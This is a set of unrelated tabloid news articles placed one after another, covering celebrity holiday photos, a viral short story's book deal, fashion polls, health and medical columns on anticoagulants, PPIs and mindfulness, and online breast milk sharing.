Feeling festive: Marla also took to Instagram earlier this month to post a throwback photo of herself holding Tiffany while she and her late mother, Ann, sat on Santa's lap

All smiles: This Thanksgiving, Marla and Tiffany posed for a photo with their friends Tara Sutphen (far right) and her daughter Cheyenne Van Zutphen (center, right)

One snapshot that was shared on Instagram sees Marla and her daughter sporting matching red turtlenecks while riding one of Tiffany's toys when she was a little girl.

The mother-of-one also recently posted a heartwarming photo of herself holding Tiffany while she and her late mother, Ann, sat on Santa's lap.

Marla paid tribute to both her mom and daughter when she captioned the image, writing: '#tbt to a precious moment with Mom (our dearest angel of Christmas), a man called "Santa" and this littlest bit of Holiday Magic @tiffanytrump who brings the Joy!'

The picture appears to have been taken in the mid-'90s, when now-24-year-old Tiffany was about two years old.

Over the Thanksgiving holiday, Marla happily shared photos of herself enjoying her time with her little girl.

In one photo, Marla and Tiffany are posed with their friends Tara Sutphen and her daughter Cheyenne Van Zutphen.

'Catching the light of the most beautiful fall day #momsanddaughters friends through time making new memories. So grateful for these girls,' Marla wrote.
Just a week after her short story was published by the New Yorker  and went viral overnight, becoming the magazine's most-read short fiction of the year  Cat Person author Kristen Roupenian is heading toward a seven-figure book deal.

The New Yorker published Roupenian's story about a short-lived relationship between a 20-year-old woman and an older man in its December 11 issue. The piece was deemed 'triggering' and 'gut-wrenching' by female fans on social media, who found the story incredibly relatable.

Now Roupenian, 36, has reportedly landed a five-figure book deal with a UK publisher  while the rights to her first book in the US have sparked a bidding war that's topped $1 million.

Fiction famous: Kristen Roupenian wrote Cat Person, a story published in the December 11 issue of the New Yorker

Ladies love a good read: When it was published, women went viral for the piece, which they found incredibly relatable

Thousands of women bonded over Cat Person, saying it perfectly captures the uncomfortable encounters so many of them have faced.

'The themes of the story (sex, gender, power, consent) are ones that I've been thinking about, and trying to write about, for years,' the author said in a New York Times interview.

Those themes certainly resonated with many female readers, a fact that left publishers scrambling to lock Roupenian in with a contract.

According to The Guardian, she's now set to publish her first book, a collection of short stories called You Know You Want This.

UK publisher Jonathan Cape reportedly bought the rights for a 'high five-figure sum'  in pounds, which could be six figures in US dollars. And bidding for the rights in the US is still underway, with 11 publishers involved and the top offer currently above $1 million.

Michal Shavit at rJonathan Cape said, 'I was submitted the collection on Tuesday. By Wednesday, I had bought the book. She's the real deal.'

Impressive: Now Roupenian has scored a five-figure book deal in the UK, while bidding for her book in the US has topped $1 million

Fiction frenzy: The story has been described as 'horrifying' and 'gut-wrenching' but 'relatable'

Common thread: Thousands of women are amazed at how spot-on the piece is and how well it captures their own feelings and experiences

Been there: The story is about an uncomfortable dating experience from the point of view of a young woman

'Cat Person captured the public imagination to become a phenomenon. You see that so rarely in literary fiction. It's an extraordinary story of human relationships and the sexual dynamics between a man and a woman, the power plays within that. It doesn't just play into the #metoo thing  she just writes very honestly and truthfully about the human experience'

He said that the new collection is 'dark,' 'funny,' and 'irreverent', adding: 'Theyre occupying a similar space in the imagination, but theyre not all about the relationships between men and women  I genuinely think shes a brilliant writer.'

Surprise hit: Roupenian wasn't an especially well-known author before the piece resonated with thousands of women online

Cat Person, at over 7,000 words, isn't exactly a speedy read, but it's attracted thousands of fans who can't stop talking about it on Twitter.

It tells the story of Margot, a 20-year-old college student who is working at a movie theater concession stand when a somewhat older man named Robert takes a liking to her and asks for her phone number.

They spend weeks texting, during which time Robert alternatively acts like he likes her very much  like by insisting on getting her snacks when her campus dining hall is closed  and becomes more stingy with his friendliness, making Margot feel like she needs to work to keep him interested.

'Soon she noticed that when she texted him he usually texted her back right away, but if she took more than a few hours to respond his next message would always be short and wouldn't include a question, so it was up to her to re-initiate the conversation, which she always did,' the piece reads.

They go on a strange first date which is described in excruciating detail, from the Holocaust movie he picks to the dig he makes about her casual outfit. Despite these moments that might make a reader think, 'Run, girl, run!' Margot ends up going home with Robert.

Thanks: Roupenian took to social media to thank her new-found fans for their support

Expectations: The author has since granted several interviews in which she talked about the piece and why she thinks so many women relate to it

Though some said it's a great representation for dating in the digital age, some think the feelings go deeper than that

Tapping in: One woman pointed out that it's unfortunate that there aren't more stories that speak to women's experiences on the same level

Just before they have bad sex, she decides she doesn't want to do it. But because she fears his reaction if she pulls the breaks, she goes through with it.

'The thought of what it would take to stop what she had set in motion was overwhelming; it would require an amount of tact and gentleness that she felt was impossible to summon,' the piece reads.

The overall feeling of the story and several details in particular have touched a nerve with many female readers, who've lauded the piece on social media.

'The most gut-wrenching, relatable content I've ever read,' wrote one. 'Just read the New Yorker's "Cat Person" and want to crawl up under a duvet and die it's so embarrassing and relatable,' wrote another.

'The "cat person" essay in the New Yorker is so bizarre, awkward, relatable and horrifying,' added a third.

'Basically anyone who's ever used a dating app could write Cat Person, just maybe not as well,' said writer Nancy Jo Sales, tapping into the feeling of familiarity shared by many readers.

Yikes: Many saw their own uncomfortable dating encounters in the story, both in interactions with men and bad sex

Insight: Some expressed a wish that more men would read the piece to better understand what so many women feel

Playing the part: Much of the story portrays the main character adjusting her actions and words to placate the man she is interested in

'I want an investigation on how she wiretapped my inner monologue,' said another in a much-liked tweet.

Others tweeted to talk more about the common experiences brought up in the piece. In particular, many wrote about how women are conditioned and socialized from a young age to be agreeable, to not come off as 'prude' or 'uptight' and to make men feel comfortable.

'As brilliantly/depressingly relatable as everyone has said. Now imagining a world where women aren't socialized to placate men's feelings above her own safety, happiness and pleasure,' an Australian woman wrote.

While some said they could especially relate in times of online dating, a few pointed out that the problems aren't new now, they are just magnified.

Mesured: Many of the woman's actions seem calculated to prevent her date from getting angry or reacting badly, which he does on occasion

Cool dude: Robert, the male character, gets angry when he feels he isn't being paid proper attention or respect

Dig deeper: Some women are frustrated to find that men reading the piece aren't 'getting it'

Complex: While a man's bad behavior is betrayed, the piece is more about the steps women take to work around bad male behavior, prevent it, and save themselves from it

'Robert isn't a new character or a product of the digital age. He's had that same reaction earlier, too  it's just easier to spot & compare notes nowadays,' read one tweet.

A few Twitter users were quick to point out that the story isn't necessarily about a man behaving badly, but more about how women are socialized to deal with men who behave badly, or who might behave badly.

'Hey, men: we don't claim this story is about a guy being abusive/nasty to a girl. That's another level. This is about the romantic hoops women are trained to jump thru, continually, from a [very] young age & the kid gloves we wear around guys for protection from [your] rage/entitlement,' wrote one woman.

'The number of guys rallying to Robert's defense in threads related to this (see: this tweet alone) is maybe my favorite thing about the article? Men refuse to see masculinity for how fragile it is,' said another.
It's every fashion gals worst nightmareshowing up wearing the same outfit as someone else.

Whether at a wedding, cocktail party or other sort of soiree, this unfortunate happenstance can easily ruin an evening. Imagine how a celebrity must feel after being snapped in a look identical to that worn by another star?

While this sartorial nightmare is simply forlorn, it does provide an op for some frivolous fodder. So without further delayWho wore it best? You be the judge!

Alessandra Ambrosio vs. Olivia Munn

Seeing stars: Both model Alessandra Ambrosio and actress Olivia Munn teamed their Wildfox sweater with ripped jean shorts

Poll Who looked more stylish in this Wildfox star sweater? Alessandra Ambrosio Olivia Munn Who looked more stylish in this Wildfox star sweater? Alessandra Ambrosio 348 votes

Olivia Munn 103 votes Now share your opinion





Model Alessandra Ambrosio stepped out on December 11th in denim cutoff shorts and a star printed Wildfox ($234) knit.

The 36-year-old Brazilian beauty accessorized her casual cook look with white sneakers and aviator sunglasses.

Olivia Munn, 37, previously wore the same Lucky Stars Phantom Sweater on September 9th.

While the X-Men star also wore the sweater with jean shorts, she elevated her look with white high-heeled booties.

Anna Kendrick vs. Kate Bosworth

Gone wild: Anna Kendrick and Kate Bosworth opted to wear this animal print Gucci mini to movie premieres, eleven years apart

Poll Who looked sexier in this Gucci mini? Anna Kendrick Kate Bosworth Who looked sexier in this Gucci mini? Anna Kendrick 160 votes

Kate Bosworth 249 votes Now share your opinion





Actress Anna Kendrick, 32, attended the Los Angeles premiere of 'Pitch Perfect 3' at the Dolby Theatre on December 12, in Hollywood, California wearing a leopard dress by Gucci. The star added to the sex appeal of the animal-printed mini with lace-up over-the-knee boots.

Kate Bosworth wore the same dress eleven years ago at the 'Superman Returns' London Premiere at Odeon Leicester Square in London, England. The 34-year-old actress let her bare legs be the focal point with black pointy pumps.

Dove Cameron vs. Ashley Benson

Bundle up: Dove Cameron and Ashley Benson looked like a million in this Modcloth coat that retails for about $100

Poll Which actress made her affordable Modcloth coat look expensive? Dove Cameron Ashley Benson Which actress made her affordable Modcloth coat look expensive? Dove Cameron 226 votes

Ashley Benson 134 votes Now share your opinion





Liv and Maddie actress Dove Cameron, 21, was photographed in Los Angeles, California, wearing the ModCloth Equally Intriguing Coat on November 28.

The Disney star kept her look simple by styling the olive outerwear with dark jeans and sleek boots.

While Ashley Benson, 28, was also spotted in the affordable outer layer ($109.99) on November 13th, she styled it very differently. She picked up the red accent on the sleeve of the jacket with a matching Saint Laurent bag, and finished off the look with a beanie cap.
A baby boy who was born with his bowel on the outside of his body has defied the odds to go home with his family for Christmas.

Little Kingston Vandenberg, from Mildura in north-west Victoria, was given an 80 to 90 per cent chance of not surviving after he was born at 36 weeks in June this year.

But the brave boy has proved himself to be a fighter after he was allowed to go home for the first time following a turbulent six months at the Monash Children's Hospital.

Scroll down for video

Little Kingston Vandenberg (pictured) was born with his bowel on the outside of his body

But the baby boy has proved himself to be a fighter after he was allowed to go home with his parents Simone and Benn for the first time for Christmas

'We get to take him home, we get to be together again,' his mother Simone Vandenberg told 7News.

'He's tougher now, he has been through so much, he's just a fighter,' she added, before her husband Benn interjected: 'He's like his dad.'

Shortly after birth, baby Kingston underwent surgery - one of three life-saving procedures.

The mother stayed by her son's hospital side - as her husband commuted in between because he was also looking after their two other children at home.

'We've done that trip probably 20 odd times and to think that this will hopefully be the last one - yeah it's going to be great,' Mr Vandenberg said.

The family were all smiles when they were given the all clear to bring their boy home this week

The family were left fearing for the worst after they were told little Kingston had a slim chance of surviving - but against all odds, he's finally coming home for Christmas

His wife added: 'It's made us stronger. He'll probably appreciate more of what I do having to look after the other two kids at home.'

The family were initially preparing for the worst after they were told little Kingston had a slim chance of surviving.

But against all odds, he will be joining the family over the festive season.

'At the end of the day, you have to make a decision you're comfortable to accept the consequences no matter what - and we were,' Mrs Vandenberg said.

'Until you look at him in there, you wouldn't change it for the world.'
As Christmas traditions go, festive tipples are up there with carol singing and mince pies. But this year some drinks on offer are far from traditional. So which are worth it  and when should you drink them? Femails drinks expert Helen McGinn picks the best tipples to help you get into the festive spirit...

CLEVER TIPPLES FOR CHRISTMAS EVE

Too rich for Christmas Day, when youll be stuffed with food, these liqueurs are perfect for Christmas Eve, wrapping presents by the fire  theyll keep you going and really get you into the festive spirit.

Chocolate Yule Log Liqueur

8, M&S

If you love Irish Cream, youll love this. Made by blending alcohol, fresh dairy cream and chocolate, its super smooth  but I thought it tasted slightly of coffee. Its lovely over ice.

Christmas Cake Liqueur

10, M&S

If you've got room for one more slice  I mean, glass  make it this. It tastes of marzipan-wrapped, brandy-soaked Christmas cake. Made from brandy infused with plums, raisins, cherries, citrus peel and spices, it packs a punch at 21 per cent. Its best slightly chilled.

Sacred Christmas Pudding Gin

37.89, amazon.co.uk

Just when you thought the gin craze couldnt get any crazier. Ian Hart, the founder of Sacred Spirits Company, starts with 75kg of Christmas pudding made to his Great Aunt Nellies recipe. He steeps it in whisky before distilling to make gin.

With warming spice aromas, it explodes on the palate with pudding flavours and a big whack of alcohol. Serve it as a G&T with a cinnamon stick or ice cold in a shot glass.

BUBBLES TO KICK OFF THE BIG DAY

To kickstart Christmas morning and wow your guests, these stunning sparklers have got it covered.

Graham Beck The Rhona Brut NV

15, M&S

This is a Methode Cap Classique so its made in the same way as champagne. Toasty with citrus fruits and a touch of creaminess, Id take a bottle over some cheap champagnes.

Henri Delattre Champagne Brut NV

27.99, Lidl

Figures show a 70 per cent rise in exports of magnums to the UK in the past five years  weve got a taste for it. Champagne aged in magnums tends to develop better. If you want a fresh citrusy style this is spot on.

Taste The Difference Cremant de Loire

9 (usually 11), Sainsburys

Sainsbury's reported a 528 percent rise in Cremant wine sales over the past year and expects to sell close to half a million bottles on December 23, dubbed Sparkling Saturday. This is one of the best deals. Its made mostly from the chenin blanc grape grown in Frances Loire Valley. Theres something of a lemon meringue pie about it.

Tesco Finest Prosecco

8, Tesco

This is prosecco on fine form, light, fresh and frothy with subtle pear flavours. Brilliantly moreish.

DESSERT WITH A DIFFERENCE

These are a real treat, perfect with Christmas pudding  or a side order of Quality Street.

Christmas Pudding Wine

8.49, lymebaywinery.co.uk

This is a wonderful medium sweet wine. Made by the Lyme Bay winery in Devon, its Blackbeer and Raisin Wine (think roasted malts with a raisin kick) infused with spices. Warm it up with a dash of brandy for a twist on mulled wine.

Rubis Chocolate Wine

9.99, Aldi

Red wine and chocolate! All my Christmases have come at once. Chocolate essence is added to a Spanish fortified red wine, made from tempranillo grapes (like rioja). I prefer it at room temperature.

Black Forest Gateau Liqueur

10, M&S

If ever there was a day to have pudding in a glass, its Christmas. This is rich and warming with black cherries and chocolate. Heavenly.

Adnams Broadside Ale 500ml

1.75, Tesco

THIS is as close to Christmas cake as beer gets, full of dried fruit flavours and spice. Made by Suffolk-based brewery Adnams, this ruby red ale goes brilliantly with strong cheese. Thatll keep Grandad happy.
A brain implant could stop sexual predators in their tracks by zapping them in their 'moment of weakness'.

The device developed by Stanford University targets the nucleus accumbens brain region, which controls the survivalist urges for food and sex.

The team identified a a particular brain signal which is omitted moments before we act on an impulse, overwhelming us with a sense of desire that drowns out inhibitions.

Testing mice, the researchers found that a quick zap to the nucleus accumbens could offset that brain signal, forcing sexual predators to consider the social consequences.

Lead author Casey Halpern said the device could also be used to prevent suicide attempts, a heroin injection, a burst of binge eating or alcohol intake, or a sudden bout of uncontrolled rage.

The device developed by Stanford University targets the nucleus accumbens brain region, which controls the survivalist urges for food and sex, and works to attack a specific brain signal

'We've identified a real-time biomarker for impulsive behavior,' Dr Halpern, assistant professor of neurosurgery and the study's senior author, said.

'Impulses are normal and absolutely necessary for survival. They convert our feelings about what's rewarding into concrete action to obtain food, sex, sleep and defenses against rivals or predators.'

However, he warned, they can also be dangerous.

Indeed, the publication about his device comes amid widespread debates about sexual assault in all contexts.

The accounts about Harvey Weinstein, Kevin Spacey, Matt Lauer, Louis CK and others have triggered conversations about hierarchy and sexual culture, but neuroscientists have been digging into the issue of impulse and how a person could so flagrantly disregard decorum.

To investigate impulses, Dr Halpern looked at binge-eating mice.

He discovered that, in keeping with his research on all impulsive behavior, these mice experienced a certain type of brain signal to the nucleus accumbens shortly before entering a binge, and that signal seemed to overwhelm them.

One zap to that region, timed immediately after that brain signal, prevented them from acting on that desire.

The device works with deep-brain stimulation, a standard and FDA-approved type of treatment.

However, while there are DBS devices on the market to treat Parkinson's, they work on a pre-programmed basis, meaning it sends regular zaps at specific times to treat tremors.

Increasingly though, new devices are being programmed to respond to brain signals.

Dr Halpern believes he has created one to treat potentially dangerous impulses.

'There's no available responsive neurostimulation intervention for dangerous impulsive behavior yet, because until now no one's been able to document a characteristic signature in the brain that could be used for triggering pulse delivery by the device,' Dr Halpern said.

'The fact that we saw a similar signal prior to two different behaviors, both intended to obtain rewards  food in the case of mice, money in the case of the human subject  to which the individuals had become hypersensitized by their repeated exposure suggests that this signal may be common to many impulsive behaviors, making them amenable to treatment along similar lines.'
I have recently been prescribed Pradaxa to prevent clots and have been told there is a 3 per cent chance of me having a stroke. Is this a high risk, asks Lionel Jenkins, New Zealand

I have recently been prescribed Pradaxa to prevent clots and have been told there is a 3 per cent chance of me having a stroke. Is this a high risk?

Lionel Jenkins, New Zealand.

The drug that you have been prescribed, Pradaxa (generic name dabigatran), is one of what we call the novel anticoagulants.

These are newly-developed drugs for suppressing the natural tendency for blood to clot, and are usually prescribed to patients with atrial fibrillation  where electrical activity in the heart goes haywire, causing it to beat irregularly.

A complication of atrial fibrillation is a higher risk of clots and, therefore, strokes. This is because blood that should get pumped around the body begins to pool and thicken in the atrium, the blood-collecting chambers of the heart.

If a clot then breaks away and is pumped out of the left ventricle  the hearts main pumping chamber  it can travel up the narrow blood vessels that feed the brain and can block the supply of oxygen-rich blood.

When that happens, the risk of death is very high  but it depends on the size of the clot and the blood vessel thats blocked, which, in turn, affects how much of the brain is deprived of blood.

Prior to the arrival of these novel anticoagulants, the most common treatment was warfarin.

For many doctors, it is still the first-line treatment, but it does have a nuisance value, as patients need regular blood tests to monitor the dose and achieve the correct degree of anticoagulation, or blood-thinning.

The novel anticoagulants avoid these difficulties because they inhibit blood clotting at a different point in the process and they all have a simple, regular dosing regimen  usually a pill to take once or twice daily.

Studies have shown that Pradaxa, the drug you have been prescribed, is as effective as warfarin at preventing unwanted clotting. There have been well-publicised concerns about a higher bleeding risk with it. However, a recent study suggests otherwise for most people.

The drug that you have been prescribed, Pradaxa (generic name dabigatran), is one of what we call the novel anticoagulants

In general, anticoagulation has been shown to reduce the risk of stroke in atrial fibrillation by around two-thirds.

Before a prescription is given, a patient is assessed for the risk of stroke using a tool called CHA2DS2-VASc Score.

With this, youre given a point for each additional risk factor. For example, gender (one point for being female); age (one point for those aged 65 to 74, and two points if you are 75 or over); stroke adds two points; and the incidence of vascular disease (such as previous heart attack), diabetes, high blood pressure, and congestive heart failure all add one point each.

A patient can therefore score between zero and nine points. A score above two merits anticoagulation. Your doctor will have used such an assessment before prescribing Pradaxa.

A score of two has an annual stroke risk of 2.2 per cent  that means in any given year, a stroke will affect between two and three people in every 100.

Your score must have been higher than two, as you say your risk of stroke is 3 per cent.

These are newly-developed drugs for suppressing the natural tendency for blood to clot, and are usually prescribed to patients with atrial fibrillation  where electrical activity in the heart goes haywire, causing it to beat irregularly

Nevertheless, a stroke risk of 3 per cent within the next year is not particularly high.

Bear in mind that this is your current risk of stroke, before taking anticoagulant medication.

Sticking to the regimen thats been prescribed to you will reduce this risk to 1 per cent or so, which I judge to be a good risk reduction  and worthwhile.

Three years ago, I had a prolapse and was fitted with a pessary ring. I have since suffered a heart attack and had three stents (metal tubes) fitted.

Id like to have an operation to fix the prolapse once and for all, but my doctor says it is a last resort. I dont understand why. I am 73.

Ann Mockett, Bedlington, Northumberland.

Youve raised a subject thats extremely common, and yet one that many women find difficult to discuss: pelvic organ prolapse, where one or more of the pelvic organs herniates into the vagina as the support tissues weaken as a result of age, obesity and/or childbirth damage. Around 50 per cent of women whove given birth naturally have some degree of uterine prolapse, and about 10 to 20 per cent will have symptoms such as incontinence as a result.

Pessaries are devices placed in the vagina that reduce prolapse mechanically, providing scaffolding to hold up the uterus. They are a trouble-free alternative to surgery, or an interim arrangement.

Some patients prefer a pessary to surgery, as it has few side-effects and can be used continuously for as long as necessary.

If these dont work, or as a permanent solution (pessaries must be washed and changed regularly by a GP), surgery often involves a vaginal hysterectomy and then a reconstruction of the pelvic floor.

But some patients who have other illnesses may not be suitable for it.

You have had a heart attack and subsequent stent surgery  so to give you a general anaesthetic may be too dangerous, which may be why your doctor is cautious.

Having said that, fixing the prolapse is not major surgery and can be done under spinal anaesthetic, rather than a general anaesthetic, which could otherwise have complications for the heart.

I know of patients who have successfully undergone surgery despite heart attacks or stents.

You have plenty of years ahead and it is reasonable to request a referral for surgery.

By the way... At last, a clue to the cause of chronic fatigue

I was beginning to despair whether science would ever reveal any breakthrough on the subject of chronic fatigue syndrome, a condition in which I have had a particular interest throughout my career.

But, at last, there is evidence that this is, as long suspected, an inflammatory disease.

One theory has been that this debilitating disorder is due to a dysfunction of the response of the body to infection  but this has never been established.

I was beginning to despair whether science would ever reveal any breakthrough on the subject of chronic fatigue syndrome, a condition in which I have had a particular interest throughout my career

The latest research, published a few weeks ago by Georgetown University in the U.S., uncovered molecular changes in the brain that are specific to chronic fatigue syndrome. In particular, levels of certain microRNA  responsible for regulating protein production (proteins tell our cells what to do)  diminished after exercise in chronic fatigue patients, compared with healthy people, which could provide a basis for better diagnosis.

These findings add to research carried out earlier this year by Stanford University in California.

This showed that patients with chronic fatigue  those with a history of at least six months of unexplained physical and mental fatigue, malaise after exertion, sleep dysfunction, pain, neurological and cognitive symptoms  had raised levels of 17 cytokines, proteins that are the fingerprints of inflammatory processes. And the higher their level of cytokines, the more severe the illness.

This has established a strong immune component of the disease, the evidence that we have long awaited.

There is still a way to go, and this is by no means a complete answer, as, in some medical circles, the very existence of this disease remains controversial.

But I believe this is proof of chemical and inflammatory involvement, which points the way to new avenues of research: light, at last, at the end of a long tunnel, hopefully offering the prospect of future treatment  and prevention.
Anyone whos had heartburn will vouch for how painful it can be. And its also extremely common.

Chronic heartburn, caused by stomach acid splashing up into the gullet, also known as acid reflux, affects around seven million people in the UK.

In England alone, GPs dish out an estimated 55 million prescriptions a year for medication known as proton pump inhibitors (PPIs) to treat the condition.

Chronic heartburn, caused by stomach acid splashing up into the gullet, also known as acid reflux, affects around seven million people in the UK. In England alone, GPs dish out an estimated 55 million prescriptions a year for medication known as proton pump inhibitors (PPIs) to treat the condition

Available both on prescription and over-the-counter at lower doses, PPIs are among the top ten most regularly taken drugs in Britain, according to research recently published by the University of Cambridge.

Yet concerns are beginning to emerge about the safety of PPIs, especially among patients who continue to take them for months or even years  rather than the recommended maximum of two to four weeks.

A study this year by University College London (UCL) involving 63,000 patients, found those taking PPIs for two weeks were twice as likely as those not on the drugs to develop stomach cancer in the following seven years.

If they stayed on them for a year, they were five times more at risk of cancer. And after three years of taking the drugs daily, the risk rose eight-fold.

Scientists think PPIs may linked to cancer by stimulating a hormone called gastrin, known to play a part in triggering the growth of cancerous cells in the stomach.

It is important to clarify that the UCL findings do not prove these drugs cause cancer, and researchers stressed the risk of stomach cancer in patients on the drugs is still small. They calculated that for every 10,000 people on PPIs, roughly eight a year will develop stomach cancer  four more than if none took the pills. But the link raises questions, not least because by taking PPIs, people with chronic acid reflux are thought to reduce their risk of cancer.

Chronic reflux can cause cells in the gullet to grow abnormally, a condition known as Barretts oesophagus thats thought to affect one in ten people with reflux. Left untreated, this can develop into oesophageal cancer.

PPIs such as Nexium, Zanprol, Prevacid and Prilosec, work by suppressing the release of stomach acid by cells, called proton pumps, in the stomach lining.

Available both on prescription and over-the-counter at lower doses, PPIs are among the top ten most regularly taken drugs in Britain, according to research recently published by the University of Cambridge

In theory, PPIs should reduce oesophageal cancer rates by treating acid reflux.

However 28 years since the drugs were first licensed in the UK, rates remain at around 15,000 new cases a year. In fact, Cancer Research UK figures show cases have gone up 6 per cent since the early Nineties.

And there are concerns about links between PPIs and other serious conditions. In November last year, scientists at The Danish Heart Foundation in Copenhagen, who tracked 244,000 middle-aged men and women for six years, found taking PPIs increased the risk of stroke by 20 per cent.

An investigation in 2016 by Erasmus University Rotterdam in the Netherlands revealed men who regularly took PPIs were three times more likely to have low sperm counts. Meanwhile, research from Johns Hopkins University in the U.S. in 2015 found that those on PPIs were 90 per cent more likely to develop kidney failure, while a study conducted by McGill University in Canada in 2015 found that they raised the risk of hip fractures by 44 per cent. In all the studies, the longer people stay on them, the bigger the risk.

Yet concerns are beginning to emerge about the safety of PPIs, especially among patients who continue to take them for months or even years  rather than the recommended maximum of two to four weeks

In the U.S., the Food and Drug Administration (FDA) has already acted on PPI safety fears and nearly 300 patients in New Jersey have filed lawsuits in the past year or so claiming the drugs left them with kidney damage and that manufacturers knew about the risks but failed to warn them.

In 2014, the FDA ordered drug firms to print a warning on packs to patients that PPIs can increase the risk of Clostridium difficile, an infection which affects around 13,000 people a year in England, causing diarrhoea, and stomach cramps  and killing approximately one in ten affected.

Stomach acid protects against infection by destroying the spores containing the C.difficile bacterium before they infect the gut.

But if the stomach is producing very little acid because PPIs are being taken every day, it boosts the bugs chances of thriving.

A study this year by University College London (UCL) involving 63,000 patients, found those taking PPIs for two weeks were twice as likely as those not on the drugs to develop stomach cancer in the following seven years

Dr Richard Cunningham, a consultant microbiologist at the Derriford Hospital in Plymouth, was one of the first to uncover a connection between PPIs and C.difficile, in 2003, but his findings, he says, were largely dismissed by the scientific community.

Now there are more than 60 studies showing similar effects, he says. If you take a PPI it deprives you of the one thing that can kill C.difficile.

Dr Cunningham says elderly patients regularly taking the heartburn pills are most at risk because gastric acid production naturally declines with age.

If youre 80 and you take a PPI, what little acid you have is completely wiped out, he says. Once you get to that age you should not be taking these drugs. While its clear how PPIs raise the risk of C.difficile, the link with other serious illnesses has been a mystery  until recently.

Last year, lab research at Stanford University in the U.S. showed that the drugs dont just turn off acid pumps in the stomach  they also block production of acid in every cell in the body.

If they stayed on them for a year, they were five times more at risk of cancer. And after three years of taking the drugs daily, the risk rose eight-fold

Each cell has an area called a lysosome, which contains enzymes that help to break down damaged or defective proteins, the debris from the ageing process. But these enzymes only work properly in acidic conditions.

If the lysosome is unable to release acid to help with this process (because PPIs have blocked the mechanism), waste material builds up and cells age quicker.

So, are too many people taking PPIs? Dr Cunningham believes most people with acid reflux should be able to control it simply by quitting smoking (a big risk factor), losing weight or raising the head of the bed by six to eight inches (which stops gravity pulling acid out of the stomach during sleep).

He says: PPIs are brilliant drugs for those who genuinely need them such as those with stomach ulcers or Barretts oesophagus, but for everyone else its a bit like using morphine for a headache.

Yet since 2015, PPIs have been on sale at supermarkets, something opposed by the British Medical Association at the time, which warned that patients could self-medicate with the drugs for years thinking they just had heartburn but could actually have peptic ulcers, cancer or abnormalities of the pancreas or bile ducts.

Scientists think PPIs may linked to cancer by stimulating a hormone called gastrin, known to play a part in triggering the growth of cancerous cells in the stomach

Asked about PPIs, a spokesman for The Proprietary Association of Great Britain, which represents over-the-counter medicine suppliers, told Good Health: They are appropriate and safe if used in accordance with the clear on-pack instructions and the patient information leaflet inside.

They are meant for short-term use  up to 14 days. Even on prescription, NICE recommends PPIs should not be taken for more than four weeks for acid reflux and eight weeks for severe oesophagitis  a swelling of the gullet.

Yet research suggests many people end up on them indefinitely. A study last year by the University of Nottingham tracked nearly 600,000 patients prescribed the drugs between 1990 and 2014 by GPs  involving nearly nine million prescriptions.

According to the findings, published in journal Pharmacoepidemiology and Drug Safety, almost 27 per cent stayed on the drugs for over a year and 4 per cent were still on them after five years.

Less than half of those taking them long-term had been advised to try to come off them.

It is important to clarify that the UCL findings do not prove these drugs cause cancer, and researchers stressed the risk of stomach cancer in patients on the drugs is still small

Professor Jeremy Sanderson, head of gastroenterology at Guys and St Thomas Hospital in London, says PPIs are very effective and comparatively safe.

If you have chronic reflux, your risk of oesophageal cancer is much greater than any potential increased risk of stomach cancer from taking the drugs.

But he adds that worried patients could instead try older drugs called H2 receptor blockers (such as Zantac or Pepcid) which can still be very effective. Unlike PPIs, which are taken daily, they can be taken as needed.

The NHS says that if youre taking PPIs regularly it may be worth discussing with your doctor whether you still need to.

A problem for people trying to come off PPIs is the so-called rebound effect, where symptoms initially get worse not better.

Professor Sanderson maintains the biggest danger is not the potential risk of side-effects from PPIs but that regular users of the drugs may have hidden cancer.

My advice to anyone suffering frequent indigestion and heartburn, say several times a week, is this  go and ask your GP to refer you for an endoscopy to examine the oesophagus with a camera.
Mindfulness reduces stress in students during exam periods, according to the largest study of its kind.

After just eight weeks of mindfulness sessions, which involves paying attention to the present moment, students feel significantly less distressed and have improved wellbeing, the research found.

Study author Professor Peter Jones from the University of Cambridge, said: 'The evidence is mounting that mindfulness training can help people cope with accumulative stress.

'It appears to be popular, feasible, acceptable and without stigma.'

University counselling increased by 50 per cent between 2010 and 2015 in certain regions of the UK, which could be due to students suffering more mental-health disorders or becoming less resilient.

Previous studies have shown the ancient Buddhist meditation, which is even recommended by the NHS, is effective at easing depression and anxiety.

Mindfulness reduces stress in students during exam times, study finds (stock)

MINDFULNESS REDUCES STRESS LEVELS BY MORE THAN HALF BY CHANGING THE BRAIN'S STRUCTURE Trendy mindfulness reduces stress levels by more than half by changing the structure of the brain, research revealed in October. Mindfulness, which involves paying attention to the present moment, relieves tension by 51 per cent by boosting regions of the brain associated with attention, function and compassion, a study found. The ancient Buddhist meditation, which is championed by the likes of Gwyneth Paltrow and Emma Watson, and is even recommended by the NHS, also makes people feel better within themselves, the research adds. In particular, practicing mindfulness by sharing challenging experiences with others may help to reduce social shame, which is a common trigger for stress, according to the researchers. Lead author Professor Tania Singer from the Max Planck Institute of Human Cognitive and Brain Sciences in Germany, said: 'As empathy, compassion and perspective-taking are crucial competencies for successful social interactions, conflict resolution and cooperation, these findings are highly relevant'. Advertisement

How the research was carried out

The researchers analysed students aged 18 or over with no severe mental illness during their main exam period.

Half of the study's participants received an eight week mindfulness course alongside standard mental health support, while the remaining students had mental health support alone.

Those receiving mindfulness lessons had weekly, face-to-face, group-based sessions and were encouraged to practice at home for around 15-to-20 minutes a day.

Before and after the study, all of the participants completed a questionnaire that assessed their wellbeing, symptoms, ability to function and risk of harm.

'Mindfulness helps build resilience against stress'

Results reveal mindfulness reduces students' distress more than mental health support alone.

For every six students treated with mindfulness, one is prevented from experiencing significant distress.

The practice also improves students' wellbeing.

Lead author Dr Julieta Galante said: 'Students who had been practising mindfulness had distress scores lower than their baseline levels even during exam time, which suggests that mindfulness helps build resilience against stress.'

Professor Jones added: 'The evidence is mounting that mindfulness training can help people cope with accumulative stress.

'While these benefits may be similar to some other preventative methods, mindfulness could be a useful addition to the interventions already delivered by university counselling services.

'It appears to be popular, feasible, acceptable and without stigma.'

The findings were published in the journal The Lancet Public Health.
Thousands of women who donate their breast milk online could face a clampdown following fears babies risk being infected with deadly hepatitis B and even HIV.

However the mothers who use the online sites say it is their choice and there is an 'unwritten trust among breastfeeding mums.'

Bex Poole, from Wolverhampton, appealed for help on the Facebook site 'Human Milk 4 Human Babies', which has nearly 17,000 followers, when she struggled to breastfeed her son Theo, who was not gaining weight as he should.

Sarah McHugh, from Kidderminster, has since donated Ms Poole a freezer full of her breast milk after over expressing for her daughter Harriet.

Ms McHugh reassured other users she was healthy and donated to hospital milk banks.

Yet, The Department of Health is coming under increasing pressure to issue more guidance to these mothers, as milk sharing is not recommended by the NHS.

Experts warn donating milk is unregulated and has a significant risk of passing on life-threatening infections.

